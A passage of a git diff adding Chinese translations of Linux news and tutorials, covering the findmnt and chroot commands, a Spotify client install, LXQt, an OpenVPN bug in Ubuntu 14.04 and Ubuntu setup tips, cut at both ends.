正致力于开发新一代的游戏机,将刷新用户在游戏机上玩游戏的体验,尤其是第一人称射击和策略游戏。不幸的是,如你所见,这是个艰巨的任务,2014年发布的目标已经无法达成了。 + +“我们正在使用一个无线原型控制器进行现场测试,测试用户包含铁杆玩家、业内人士和休闲玩家。我们收到了海量的反馈,这意味着我们的控制器会开发的更好。当然也搞的我们忙于修改所有的改进。现在来看,我们正在计划2015年发布产品而不是2014年。” + +“我们和大家一样非常期望 Steam Machines 能尽快拿到手。但是我们首要保证的是一旦你拿到手,你将得到前所未有的游戏体验。希望大家能和我们一起耐心等待。在那之前,我们将继续发布更新如果我们有更多信息的话,” Valve [发言人说][1]在 Steam Universe 社区里谈到。 + +这可能意味着需要解决掉一些问题,但是 Steam 控制器远没有完成。很可能他们的 SteamOS 操作系统并没有准备好应付这么艰巨的任务。驱动程序也有些问题需要较长的时间去修复。 + +AMD的支持太差了,Valve 确实是想使得 Steam Machines 项目成为一个有竞争力项目。最大的问题可能是价格,到时候会很高,将会比 PS4 和 Xbox 高多了。 + +Valve 和合作的厂商需要更多时间去降低成本,提高产品和软硬件的质量。他们也需要更多的游戏进驻,所以将 Linux domination of the world 推迟了六个月,推迟到2015年,这也许不是件坏事。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Linux-World-Domination-and-Steam-Machines-Delayed-Until-2015-444271.shtml + +译者:[shipsw](https://github.com/shipsw) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://steamcommunity.com/groups/steamuniverse#announcements/detail/1820891223906967821 diff --git a/published/201405/Linux findmnt Command To Find Mounted Filesystems.md b/published/201405/Linux findmnt Command To Find Mounted Filesystems.md new file mode 100644 index 0000000000..93167fa8e6 --- /dev/null +++ b/published/201405/Linux findmnt Command To Find Mounted Filesystems.md @@ -0,0 +1,111 @@ +findmnt-寻找挂载的文件系统 +================================================================================ +命令findmnt用来查找在Linux下已经被挂载的文件系统。该命令会从/etc/fstab、/etc/mtab或者/proc/self/mountinfo中寻找指定的文件系统。 + +### 如何安装findmnt ### + +findmnt命令来自于util-linux-ng软件包,这个包现在改名为util-linux。该软件包中还包括其他一些工具,比如hwclock等。从kernel.org ftp页面[下载util-linux][1]以安装findmnt。 + +### 如何在Fedora下安装findmnt ### + +Fedora用户可以通过下面的命令安装该软件包: + + $ sudo yum install util-linux-ng + +### Findmnt默认选项 ### + +如果没有提供特定的挂载点或者设备,该命令默认会以优美的树形结构列出所有已经被挂载的文件系统。 + + $ findmnt + +![findmnt default](http://linoxide.com/wp-content/uploads/2014/03/findmnt-default.png) + +### Findmnt轮询模式 ### + +findmnt可以被用来监控/proc/self/mountinfo文件的变化。轮询模式可以通过下面的命令进行调用: + + $ findmnt -p + +或者 + + $ findmnt --poll + +/proc/self/mountinfo文件的任何变化会自动的在终端中进行更新。一开始你不会发现终端中的输出有任何变化,如果此时你拔掉U盘再插入,变化就会出现在终端中。 + +![findmnt poll](http://linoxide.com/wp-content/uploads/2014/03/findmnt-poll.png) + +轮询停止的时间可以通过**--timeout**或者**--first-only**选项进行限制。 + +### 超时选项 ### + +该选项可以与--pool一起使用来限制轮询模式的时间。**超时单位是毫秒**。超过此时间后,findmnt不会再监控/proc/self/mountinfo文件的变化。 + + $ findmnt --poll --timeout 6000 + +![findmnt poll timeout](http://linoxide.com/wp-content/uploads/2014/03/findmnt-poll-timeout.png) + +### First-only选项 ### + +first-only选项只会监控/proc/self/mountinfo文件的第一次变化,之后该命令退出轮询模式。第一次变化会出现在终端中,并且返回到提示符。使用此选项在终端中输入: + + $ findmnt --poll --first-only + +![findmnt poll first-only](http://linoxide.com/wp-content/uploads/2014/03/findmnt-poll-first-only.png) + +### 模仿df输出的选项 ### + +findmnt命令也可以用来模仿df命令的输出。你可以参考如下的命令使用findmnt和选项**--df**。 + + $ findmnt --df + +或者 + + $ findmnt -D + +它会返回和**df -h**命令几乎相同的输出。 + + $ df -h + +![findmnt imitate df](http://linoxide.com/wp-content/uploads/2014/03/findmnt-imitate-df.png) + +### Findmnt list选项 ### + +如果你不喜欢默认的树形输出,你可以使用**--list**或者**-l**选项。它会以列的形式进行输出。 + + $ findmnt --list + +执行此命令的输出如下: + +![findmnt list](http://linoxide.com/wp-content/uploads/2014/03/findmnt-list.png) + +### Findmnt Evaluate 选项 ### + +求值选项会转换所有的标签(比如LABEL,UUID,PARTUUID或者PARTLABEL)成真实的设备名称。该选项可以结合**--fstab**选项来打印所有在/etc/fstab中包含的文件系统。**--fstab**选项的输出是列的形式,因此当使用**--fstab**的时候无需使用**--list**选项。 + + $ findmnt --fstab --evaluate + +当这两个选项像如下一样结合使用的时候,输出如下: + +![findmnt fstab evaluate](http://linoxide.com/wp-content/uploads/2014/03/findmnt-fstab-evaluate.png) + +### Findmnt type 选项 ### + +该选项允许你限制打印出的文件系统。多个文件系统可以使用逗号分割进行指定。在这个实例中,该命令会搜索ext4,ext3和vfat文件系统。 + + $ findmnt -t ext4,ext3,vfat + +![findmnt types](http://linoxide.com/wp-content/uploads/2014/03/findmnt-types.png) + +### 结语 ### + +你可以按照你的需要尝试不同的findmnt选项。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/powerful-findmnt-command/ + +译者:[zzlyzq](https://github.com/zzlyzq) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:ftp://ftp.kernel.org/pub/linux/utils/util-linux/ diff --git a/published/201405/Linux or Unix--chroot Command Examples.md b/published/201405/Linux or Unix--chroot Command Examples.md new file mode 100644 index 0000000000..92c06a78ed --- /dev/null +++ b/published/201405/Linux or Unix--chroot Command Examples.md @@ -0,0 +1,261 @@ +Linux / Unix:chroot 命令实例讲解 +================================================================================ +> 我是一个刚接触 Linux 和 Unix 的新手。我该如何改变一个命令的根目录?我要怎样改变一个进程的根目录呢,比如用 chroot 命令将web服务与文件系统隔离?我要如何使用 chroot 恢复密码或修复基于 Linux/Unix的受损坏的环境? + +![](http://s0.cyberciti.org/uploads/faq/2014/02/chroot-command.jpg) + +在 Linux和类 Unix 系统下每一个进程/命令的当前工作目录称之为进程/命令的根目录(译注:译者以为此处有误,实际上没有进行过chroot的进程,其根目录是系统的根目录,而不是其工作目录)。你可以使用 chroot 命令改变一个命令的根目录,这最终将会改变当前运行的进程及其子进程的根目录。 + +如果一个进程/命令运行在一个不能访问外部根目录文件的已修改环境中。这种修改环境通常被称为"监禁目录"(jail)或是"chroot 监禁"。只有特权进程和根用户才能使用 chroot 命令。然而这通常是很有用的: + +1. 将特权分配给无特权的进程,例如 Web 服务或 DNS 服务。 +1. 建立测试环境。 +1. 不使程序或系统崩溃下,运行旧程序或 ABI 兼容的程序。 +1. 系统恢复。 +1. 重新安装引导装载程序,例如 Grub 或 Lilo。 +1. 密码找回,重置一个已丢失的密码等。 + +### 用途 ### + +> chroot 命令 **改变其当前目录,并将根目录变为指定目录,然后如果提供了命令则运行命令**,也可以运行一个用户的交互式shell的副本(译注:即bash等。)。请注意并不是每一个程序都可以使用 chroot 命令。 + +### 语法 ### + +基本语法如下: + + chroot /path/to/new/root command + +或者 + + chroot /path/to/new/root /path/to/server + +或者 + + chroot [options] /path/to/new/root /path/to/server + +#### chroot 命令实例 #### + +在这个例子中,建立了一个"迷你监狱"用来测试一个只有 ls 命令的 Bash shell。首先用 mkdir 命令设定好 jail "监狱" 路径。 + + $ J=$HOME/jail + +在 $J 内创建目录: + + $ mkdir -p $J + $ mkdir -p $J/{bin,lib64,lib} + $ cd $J + +用[cp 命令][1]将/bin/bash 和 /bin/ls 复制到 $J/bin/ 路径下: + + $ cp -v /bin/{bash,ls} $J/bin + +将所需库文件拷贝到$J。可以用 ldd 命令找到 bash 所依赖的共享库。 + + $ ldd /bin/bash + +输出样例: + + linux-vdso.so.1 => (0x00007fff8d987000) + libtinfo.so.5 => /lib64/libtinfo.so.5 (0x00000032f7a00000) + libdl.so.2 => /lib64/libdl.so.2 (0x00000032f6e00000) + libc.so.6 => /lib64/libc.so.6 (0x00000032f7200000) + /lib64/ld-linux-x86-64.so.2 (0x00000032f6a00000) + +直接拷贝上面输出中的库文件到 $J 目录: + + $ cp -v /lib64/libtinfo.so.5 /lib64/libdl.so.2 /lib64/libc.so.6 /lib64/ld-linux-x86-64.so.2 $J/lib64/ + +输出样例: + + `/lib64/libtinfo.so.5' -> `/home/vivek/jail/lib64/libtinfo.so.5' + `/lib64/libdl.so.2' -> `/home/vivek/jail/lib64/libdl.so.2' + `/lib64/libc.so.6' -> `/home/vivek/jail/lib64/libc.so.6' + `/lib64/ld-linux-x86-64.so.2' -> `/home/vivek/jail/lib64/ld-linux-x86-64.so.2' + +复制 ls 命令所需的库文件到 $J 目录下。用 ldd 命令打印出 ls 命令依赖的共享库: + + $ ldd /bin/ls + +输出样例: + + linux-vdso.so.1 => (0x00007fff68dff000) + libselinux.so.1 => /lib64/libselinux.so.1 (0x00000032f8a00000) + librt.so.1 => /lib64/librt.so.1 (0x00000032f7a00000) + libcap.so.2 => /lib64/libcap.so.2 (0x00000032fda00000) + libacl.so.1 => /lib64/libacl.so.1 (0x00000032fbe00000) + libc.so.6 => /lib64/libc.so.6 (0x00000032f7200000) + libdl.so.2 => /lib64/libdl.so.2 (0x00000032f6e00000) + /lib64/ld-linux-x86-64.so.2 (0x00000032f6a00000) + libpthread.so.0 => /lib64/libpthread.so.0 (0x00000032f7600000) + libattr.so.1 => /lib64/libattr.so.1 (0x00000032f9600000) + +你可以一个个的复制库文件,为了更高效的作业,我们也可以使用[bash shell 的循环指令][2]实现: + + list="$(ldd /bin/ls | egrep -o '/lib.*\.[0-9]')" + for i in $list; do cp -v "$i" "${J}${i}"; done + +输出样例: + + `/lib64/libselinux.so.1' -> `/home/vivek/jail/lib64/libselinux.so.1' + `/lib64/librt.so.1' -> `/home/vivek/jail/lib64/librt.so.1' + `/lib64/libcap.so.2' -> `/home/vivek/jail/lib64/libcap.so.2' + `/lib64/libacl.so.1' -> `/home/vivek/jail/lib64/libacl.so.1' + `/lib64/libc.so.6' -> `/home/vivek/jail/lib64/libc.so.6' + `/lib64/libdl.so.2' -> `/home/vivek/jail/lib64/libdl.so.2' + `/lib64/ld-linux-x86-64.so.2' -> `/home/vivek/jail/lib64/ld-linux-x86-64.so.2' + `/lib64/libpthread.so.0' -> `/home/vivek/jail/lib64/libpthread.so.0' + `/lib64/libattr.so.1' -> `/home/vivek/jail/lib64/libattr.so.1' + +最后,chroot 到你的新jail: + + $ sudo chroot $J /bin/bash + +尝试浏览一下 /etc 或 /var: + + # ls / + # ls /etc/ + # ls /var/ + +改变了根目录的 bash 和 ls 程序现在被监禁在$HOME/$J这个特殊目录中,而且不能再访问外部的目录树,这个目录可以看做是它们的"/"(root)目录。如果配置正确的话,这会极大增强安全性。我通常用这种技术锁定以下的应用程序。 + +1. [Apache - Red Hat / CentOS: Chroot Apache 2 Web Server][3] +1. [Nginx - Linux nginx: Chroot (Jail) Setup][4] +1. [Chroot Lighttpd web server on a Linux based system][5] +1. Chroot mail server. +1. Chroot Bind DNS server 等等 + +### 如何退出 chroot 监禁呢? ### + +键入 exit 即可 + + $ exit + +上述会话样例如下: + +[![Animated gif 01: Linux / Unix: Bash Chroot ls Command Demo](http://s0.cyberciti.org/uploads/faq/2013/01/bash-chroot-ls-demo.gif)][6] + +Gif 动画01: Linux / Unix: Bash Chroot ls 命令演示 + +### 查找服务是否存在于 chrooted 监禁内### + +你可以用下面两个命令[轻松的找出 Postfix 邮件服务是否已经 chrooted]: + + pid=$(pidof -s master) + ls -ld /proc/$pid/root + +从基本Linux服务中输出样例: + + lrwxrwxrwx. 1 root root 0 Mar 9 11:16 /proc/8613/root -> / + +PID 8613 指向了 / (root) 也就是说这个程序的根目录并没有被改变或是被 chroot。这个方法非常的快速而又直接,不需要打开配置文件。下面是从已经 chroot 的 ngnix 服务中得到的另一个例子: + + pid=$(pidof -s master) + ls -ld /proc/$pid/root + +输出样例: + + lrwxrwxrwx 1 nginx nginx 0 Mar 9 11:17 /proc/4233/root -> /nginxjail + +程序的根目录已经改为 /nginxjail。 + +### 用 chroot 救援和修复软件RAID(磁盘阵列)系统 ### + +我先假设基于软RAID的 Linux 系统无法正常启动。所以你[需要用Live CD或用基于网络的内核应急模式][8]来修复系统。在这个例子中,我用了 Live Linux DVD/CD 启动一个基于 RHEL 的系统,然后再 chroot 到 /dev/sda1 和 /或 /dev/md0 修复问题: + + ## 在 Live CD 的提示符下,键入以下命令来恢复数据。## + ## /dev/sda1 系统主分区## + # 建立 jail 目录 + d=/chroot + mkdir $d + + # 挂载 sda1 和其他所需目录 + mount /dev/sda1 $d + mount -o bind /dev $d/dev + mount -o bind /sys $d/sys + mount -o bind /dev/shm $d/dev/shm + mount -o bind /proc $d/proc + + # 挂载软件RAID /dev/md0 + mount /dev/md0 $d/data + + # Chroot 到我们新建的 jail 中。这将允许我们修复引导装载系统(bootloader),或者在所有文件被/dev/null吞噬之前抓取数据。 + chroot $d + + #你能看见吗? + ls + df + + # 将文件置入安全路径 + rsync -avr /path/to/my_precious_data_dir user@safe.location.cyberciti.biz:/path/to/dest + + # 退出 jail ,然后重启或者根据个人所需格式化服务 ;) + exit + umount {dev,sys,[...],} + reboot + +**别急,还有更精彩的内容!** + +查看nixCraft下所有其他有关 chroot 命令的文章: + +1. [Ubuntu: Mount Encrypted Home Directory (~/.private) From an Ubuntu Live CD][9] +1. [Linux Configure rssh Chroot Jail To Lock Users To Their Home Directories Only][10] +1. [Fix a dual boot MS-Windows XP/Vista/7/Server and Linux problem][11] +1. [Restore Debian Linux Grub boot loader][12] + +### 在 Linux 和 类Unix 系统下 chroot 应用程序的注意事项 ### + +你应该在各种情况下都用 chroot 特性吗?从上面的例子看出,这个程序是相当简单的,但是最终可能出现几种不同的问题而结束,例如: + +1.在 jail 中缺失库文件可能直接导致 jail 崩溃。 +1.一些复杂的程序不好被 chroot。所以我建议你要么尝试[真正的jail,例如FreeBSD提供的][13],要么用虚拟化解决,比如[Linux 下的 KVM][14]。 +1.正在运行某一程序的 jail 不能再运行其他程序,不能更改任何文件,也不能"假设"另一个用户的身份。放宽这些限制,会降低你的安全性,请根据具体情况 chroot。 + +还要注意: + +1. 当你升级本地程序时,不要忘记升级已 chroot 的程序。 +1. 并非所有程序能够或者应该被 chroot。 +1. 任何需要 root 权限操作的程序,对其 chroot 是没意义的。因为通常 root 用户都能脱离 chroot。 +1. Chroot 并不一个高招。更多的可以学习[如何保护和加强系统的各个部分][15] + +### choort 部分命令选项 ### + +取自 man 帮助页面[chroot(8)][16]: + + --userspec=USER:GROUP 使用指定的 用户 和 组 (ID 或 名称) + --groups=G_LIST 指定补充组 g1,g2,..,gN + --help 显示帮助并退出 + --version 显示版本信息并退出 + +### 参见 ### + +- [chroot(8) Linux/Unix 命令 man 页面][17] +- [Man页面 chroot(2)][18] +- [OpenBSD文档参见Apache chrooting FAQ 提取更多信息][19] + +-------------------------------------------------------------------------------- + +via: http://www.cyberciti.biz/faq/unix-linux-chroot-command-examples-usage-syntax/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.cyberciti.biz/faq/cp-copy-command-in-unix-examples/ +[2]:http://www.cyberciti.biz/faq/bash-for-loop/ +[3]:http://www.cyberciti.biz/tips/chroot-apache-under-rhel-fedora-centos-linux.html +[4]:http://www.cyberciti.biz/faq/howto-run-nginx-in-a-chroot-jail/ +[5]:http://www.cyberciti.biz/tips/howto-setup-lighttpd-php-mysql-chrooted-jail.html +[6]:http://www.cyberciti.biz/faq/?attachment_id=28148 +[7]:http://www.cyberciti.biz/tips/linux-chroot-service.html +[8]:http://www.cyberciti.biz/faq/centos-rhel-linux-mount-raid-hard-disk-from-livecd/ +[9]:http://www.cyberciti.biz/faq/ubuntu-mounting-your-encrypted-home-from-livecd/ +[10]:http://www.cyberciti.biz/tips/howto-linux-unix-rssh-chroot-jail-setup.html +[11]:http://www.cyberciti.biz/tips/howto-fix-dual-boot-windows-vista-linux.html +[12]:http://www.cyberciti.biz/tips/restore-debian-linux-grub-boot-loader.html +[13]:http://www.cyberciti.biz/faq/how-to-upgrade-freebsd-jail-vps/ +[14]:http://www.cyberciti.biz/faq/kvm-virtualization-in-redhat-centos-scientific-linux-6/ +[15]:http://www.cyberciti.biz/tips/linux-security.html +[16]:http://www.manpager.com/linux/man8/chroot.8.html +[17]:http://www.manpager.com/linux/man8/chroot.8.html +[18]:http://www.manpager.com/linux/man2/chroot.2.html +[19]:http://www.openbsd.org/faq/ diff --git a/published/201405/Native Spotify for Linux Client Updated With New Dark Design.md b/published/201405/Native Spotify for Linux Client Updated With New Dark Design.md new file mode 100644 index 0000000000..190b4072fa --- /dev/null +++ b/published/201405/Native Spotify for Linux Client Updated With New Dark Design.md @@ -0,0 +1,43 @@ +Spotify 原生Linux客户端更新,暗黑风格来袭 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/05/spotify.jpg) + +**继streaming service上个月在其它平台上发布它的应用之后,以同样的扁平化和黑色风格的设计,Linux版本的Spotify客户端也发布了更新。** + +金属质感的灰色元素和白色清爽的条区设计形成了基于黑色的风格,以黑色和浅黑色的颜色为主。甚至公司的绿色的商标也不能幸免,以奇怪的颜色出现在各种地方。 + +在作曲家和个人资料条目中图片的设计上均采用了圆形的设计元素,并且在导航栏和播放控制按钮的地方采用了iOS 7风格。 + +Spotify官方说道这种设计风格突出了软件的内容,他们将之比作“*熄掉所有灯光的剧场。*” + +除了吸引你眼球的这些改变,还有一些你可能错过的不易察觉的变化。这包括Open SSL 1.0.x的使用、使用*libavcodec54*来实现本地音乐重放以及播放曲目变化时对本地系统通知的调用支持。 + +现在,该软件已不再提供32位的版本。 + +由于长期处于预览阶段,Linux下的原生Spotify客户端**支持免费和订阅账户**。 + +### 安装Spotify ### + +要在Ubuntu 14.04 LTS上安装Spotify,你可以打开终端,然后输入下面的命令。 + +首先将Spotify官方的软件仓库添加到你的软件源列表中: + + sudo sh -c 'echo "deb http://repository.spotify.com stable non-free" > /etc/apt/sources.list.d/spotify.list' + +添加该软件仓库的安全密钥来避免不必要的错误: + + sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 94558F59 + +最后,更新并且安装Spotify: + + sudo apt-get update && sudo apt-get install spotify-client-qt + +安装完成后就可以从Dash启动Spotify了。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/05/spotify-linux-preview-update-new-design + +译者:[JonathanKang](https://github.com/JonathanKang) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201405/New Unreal Tournament Game to Arrive on Linux for Free.md b/published/201405/New Unreal Tournament Game to Arrive on Linux for Free.md new file mode 100644 index 0000000000..e31574c11a --- /dev/null +++ b/published/201405/New Unreal Tournament Game to Arrive on Linux for Free.md @@ -0,0 +1,37 @@ + +新的虚幻竞技场游戏将免费登陆linux +================================================================================ + +![](http://i1-news.softpedia-static.com/images/news2/New-Unreal-Tournament-Game-to-Arrive-on-Linux-for-Free-441291-3.jpg) + +Epic Games宣布下一款虚幻竞技场系列游戏将会支持Linux, Windows,以及Mac OS X三个系统平台,并且可以免费获得。 + +Epic Games的开发者遵守他们的承诺,[新的4代虚拟引擎支持了Linux][1],并且他们已经确认下一款虚幻竞技场系列游戏将会登陆Linux平台。 + +如果该项目成功的话,伴随着Linux平台下虚幻竞技场该款游戏的开发和发布,随之而来的也有一些可能改变开发游戏模式的有趣想法。 + +首先,虚幻竞技场这款游戏将会是免费的。当用户听到免费这个词时,通常他们认为仅仅是免费获取到游戏,意味着他们不得不为了额外的内容以及优于其他玩家的有利条件来掏腰包。不过虚幻竞技场这款游戏不是这样,Epic Games正在尝试一种不同的商业模式。 + +当这款游戏开发出来并且免费向公众提供后,开发者将会围绕这款游戏建立一个市场,在这个市场中相关组织团体可以销售他们对于该款游戏的内容。游戏收益就会分为游戏相关内容开发者以及Epic Games两个部分。 + +理论上来讲,对于玩这款游戏来说,这样就足够了。这并不是一个全新的观念,因为这个已经在Team Fortress 2这款游戏中得到了应用,尽管它听起来更加先进一些。Epic Games也已经声称该款游戏的开发是由虚幻竞技场团队的一部分有经验的技术人员负责,并且他们已经开始着手开发。但还有一些有趣的事情。 + +“从代码编写的第一行,从该创意产生那一时,从这个游戏设计决定下来那一刻,该游戏的开发工作就会向大众公开。这是在Epic Games、虚幻竞技场游戏粉丝以及游戏开发者之间的合作。我们会使用论坛来讨论游戏相关的问题,用twitch平台来使用户获得定期更新。” + +“如果你是一个粉丝并且你想参与游戏的开发和设计,那么你可以免费创建一个账户来加入论坛和我们一起讨论。所有的游戏代码和内容可以在UT开发者的github上获得”, [官方声明][2]如此说道。 + +在社区的监视和审查下开发游戏是向前迈出的一大步,它会缩小开发者和粉丝们的距离。这也意味着这款游戏会更加地符合公众的期待,而不是更加贴合开发者所谓的玩家的期待。 + +虽然还需要一段时间该款游戏才可以在所有平台上运行,但是用户们可以实时地获取开发进度。如果Epic Games的想法成为现实的话,我们就可以在今年年底获得该游戏的测试版本。 + +-------------------------------------------------------------------------------- + + +via: http://news.softpedia.com/news/New-Unreal-Tournament-Game-to-Arrive-on-Linux-for-Free-441291.shtml + +译者:[JonathanKang](https://github.com/JonathanKang) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://news.softpedia.com/news/Unreal-Engine-4-1-Support-for-Linux-Might-Spark-the-End-of-Windows-Gaming-Domination-439373.shtml +[2]:https://wiki.unrealengine.com/Unreal_Tournament diff --git a/published/201405/Next-Gen Linux Desktop LXQt Makes First Public Release.md b/published/201405/Next-Gen Linux Desktop LXQt Makes First Public Release.md new file mode 100644 index 0000000000..7727d9d63a --- /dev/null +++ b/published/201405/Next-Gen Linux Desktop LXQt Makes First Public Release.md @@ -0,0 +1,44 @@ +下一代Linux桌面系统LXQt首次公开发布 +================================================================================ +![LXQt with KWin. Other window managers can be used.](http://www.omgubuntu.co.uk/wp-content/uploads/2014/05/lxqt.jpg) + +**LXQt的首次公开发布版,流行的轻量级桌面环境LXDE的新一代版本,已经可以下载了。** + +这次版本发布几乎是在LXDE Qt计划和Razor-qt桌面项目决定合并的[一年][1]以后。通过集中资源到一个桌面环境中,而不是两个,这个团队说他们希望“通过尽量重用现有代码,来提供最好的体验”。 + + +通过10个月的努力,不管是桌面系统的工作方式和所提供的特性功能,都得到了大量重要改善。今天的这个beta版本,尽管主要是给早期测试人员和开发者,据说已经“稳定可用”了。 + +### 美好的开始 ### + +这个项目的开发团队还在继续关注在提供一个轻量级以及用户友好的桌面环境,用来替代日渐沉重和复杂的系统。LXQt使用了比基于GTK的LXDE更精简,更快速和模块化的代码库,将非常适用于低配置的电脑。 + +今天的主角比之前正式发布的Razor-qt (0.5.2)有许多重要改变,包括集成了移植到Qt平台的PCManFM文件管理器,系统设定改善,新的模组,以及持续支持Qt5和Wayland显示协议。 + +团队成员说,基于GTK环境的开发在目前看来还会继续。那些运行Lubuntu 14.04 LTS系统的用户也不用担心,因为Lubuntu开发者已经保证会提供三年的持续维护。 + +Ubuntu开发团队早前声称他们将在Lubuntu 14.10版本中过渡到基于Qt的桌面,最终决定将在后面几个月中做出。 + +#### 试一下 #### + +LXQt还处于活跃开发中,所以并不推荐你在重要的设备上安装。 + +[Lubuntu Daily PPA][2]提供了LXQt所需要的安装包,包括一个统一包来简化安装。 + +在安装过程中会有大量Qt依赖包需要下载,那些网速不佳的同学请安排合适的时间段。 + +源码包,Arch和Debian用户的安装细节,以及更多信息,可以在项目新启用的网站上找到。 + +- [访问LXQt项目官方网站][3] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/05/next-gen-linux-desktop-lxqt-makes-first-public-release + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://blog.lxde.org/?p=1046 +[2]:https://launchpad.net/~lubuntu-dev/+archive/lubuntu-daily +[3]:http://lxqt.org/ diff --git a/published/201405/OpenVPN Import Broken in Ubuntu 14.04 LTS.md b/published/201405/OpenVPN Import Broken in Ubuntu 14.04 LTS.md new file mode 100644 index 0000000000..3c71f1cf5e --- /dev/null +++ b/published/201405/OpenVPN Import Broken in Ubuntu 14.04 LTS.md @@ -0,0 +1,28 @@ +Ubuntu 14.04 LTS中OpenVPN导入功能被破坏 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/OpenVPN-Import-Broken-in-Ubuntu-14-04-LTS-441601-2.jpg) + +**几周前Canonical公司发布了 Ubuntu 14.04 LTS版本,新的操作系统做了很大的变化,但仍有些问题 +需要解决,比如:openVPN 的导入功能**。 + +如果你曾在Ubuntu系统上使用过VPN连接,你应该知道,为了实现VPN连接不得不去官方软件包管理中心下载 network-manager-openvpn 软件包,其允许用户导入openVPN文件和所有的设置以及证书。 + +在ubuntu 14.04 LTS之前的版本,openVPN 导入功能能够正常使用,但是此前发布的network-manager-openvpn软件包某些文件被破坏,当导入时将导致整个网络管理功能崩溃。 + +在 [Launchpad][1] 上已有匿名用户上报了这个问题, 但到目前为止该问题依然没有被修复。在3月份首次提交了该bug的报告,意味着最新的发行版本忽略了该问题。 + +异常的问题已经被确认,但是似乎没有人去修复它,至少没有出现在Lanchpad上. + +事实证明,通过众多人的留下的评论来判断bug并首次上报,很值得广泛使用, 但如果没有发布修复bug的方法,那是很烦人的。 + +如果有新的改变或者这个bug被修复,我们将随时告知大家 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/OpenVPN-Import-Broken-in-Ubuntu-14-04-LTS-441601.shtml + +译者:[hunanchenxingyu](https://github.com/hunanchenxingyu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://bugs.launchpad.net/ubuntu/+source/network-manager-openvpn/+bug/1294899 \ No newline at end of file diff --git a/published/201405/Six Steps You Need to Take to Make Ubuntu 14.04 LTS Better.markdown b/published/201405/Six Steps You Need to Take to Make Ubuntu 14.04 LTS Better.markdown new file mode 100644 index 0000000000..61e9698528 --- /dev/null +++ b/published/201405/Six Steps You Need to Take to Make Ubuntu 14.04 LTS Better.markdown @@ -0,0 +1,51 @@ +六步优化你的 Ubuntu 14.04 +================================================================================ + +![](http://i1-news.softpedia-static.com/images/news2/Six-Step-You-Need-to-Take-to-Make-Ubuntu-14-04-LTS-Better-439341-2.jpg) + +**Ubuntu 14.04 LTS (Trusty Tahr) 是一个非常优秀的操作系统,但是与其他发行版一样,它的初始化配置对用户来说并不是最优的配置。虽然这样有许多原因,但我们可以自己做一些配置来极大地提升你的Ubuntu操作体验。** + +Ubuntu 是一款非常优秀的操作系统,而且其14.04的最新版本也是Canonical迄今为止制作的最精心版本,但是对于许多用户来说,这一系统中仍存在许多需要改善的方面。确实,如果你希望获得完整的操作体验,你需要进行一些设置修改。 + +比如,当你第一次启动这一系统时,你需要打开“软件与更新”(Software & Updates),确认在第一个选项“Ubuntu Software”中所有的子选项都被选中。因为如果你想获得所有重要的包,你需要这些软件库被激活。 + +![Software & Updates repositories](http://i1-news.softpedia-static.com/images/news2/Six-Step-You-Need-to-Take-to-Make-Ubuntu-14-04-LTS-Better-439341-3.jpg) +“软件与更新”(Software & Updates)软件库 + +第二个修改是安装Ubuntu Restricted Extras. 这样可以安装许多由于法律原因而无法与操作系统绑定的重要软件包,如Adobe公司的Flash与Microsoft的字体。自己安装这些软件是没有任何问题的,但开发者不能默认地包含这些软件。打开一个终端,输入如下命令: + + sudo apt-get update + sudo apt-get install ubuntu-restricted-extras + +安装完成后,你需要删掉系统默认的即时消息软件:Empathy. 它是GNOME的一部分,而且是一个非常有限的并有bugs的解决方案。你需要安装Pidgin来替换。根据如下命令进行安装: + + sudo apt-get remove empathy + sudo apt-get install pidgin + sudo apt-get install pidgin-plugin-pack + +现在,如果你已经完成了对即时消息软件的处理,你需要安装视频卡(video card)的驱动。如果你有Intel的GPU,你不需要做任何事情,但是如果你的GPU是NVIDIA或者AMD的,你可能需要相应公司的驱动,这样可以在游戏中为你提供更好的性能。再次打开“软件与更新”(Software & Updates),点击最后一个选项:额外驱动(Additional Drivers),选择你需要的驱动。这需要一定时间,请耐心等待。然后重启。 + +![Software & Updates drivers](http://i1-news.softpedia-static.com/images/news2/Six-Step-You-Need-to-Take-to-Make-Ubuntu-14-04-LTS-Better-439341-4.jpg) +“软件与更新”(Software & Updates)驱动 + +然后,你可能也想终止通过Unity's Dash的在线搜索。打开“系统设置”,选择“安全与隐私”(Security and Privacy). 在第三个选项“搜索”中,你可以发现一个按钮可以关闭在线搜索。 + +![Stop online search in Ubuntu 14.04 LTS](http://i1-news.softpedia-static.com/images/news2/Six-Step-You-Need-to-Take-to-Make-Ubuntu-14-04-LTS-Better-439341-5.jpg) +在Ubuntu 14.04 LTS中关闭在线搜索 + 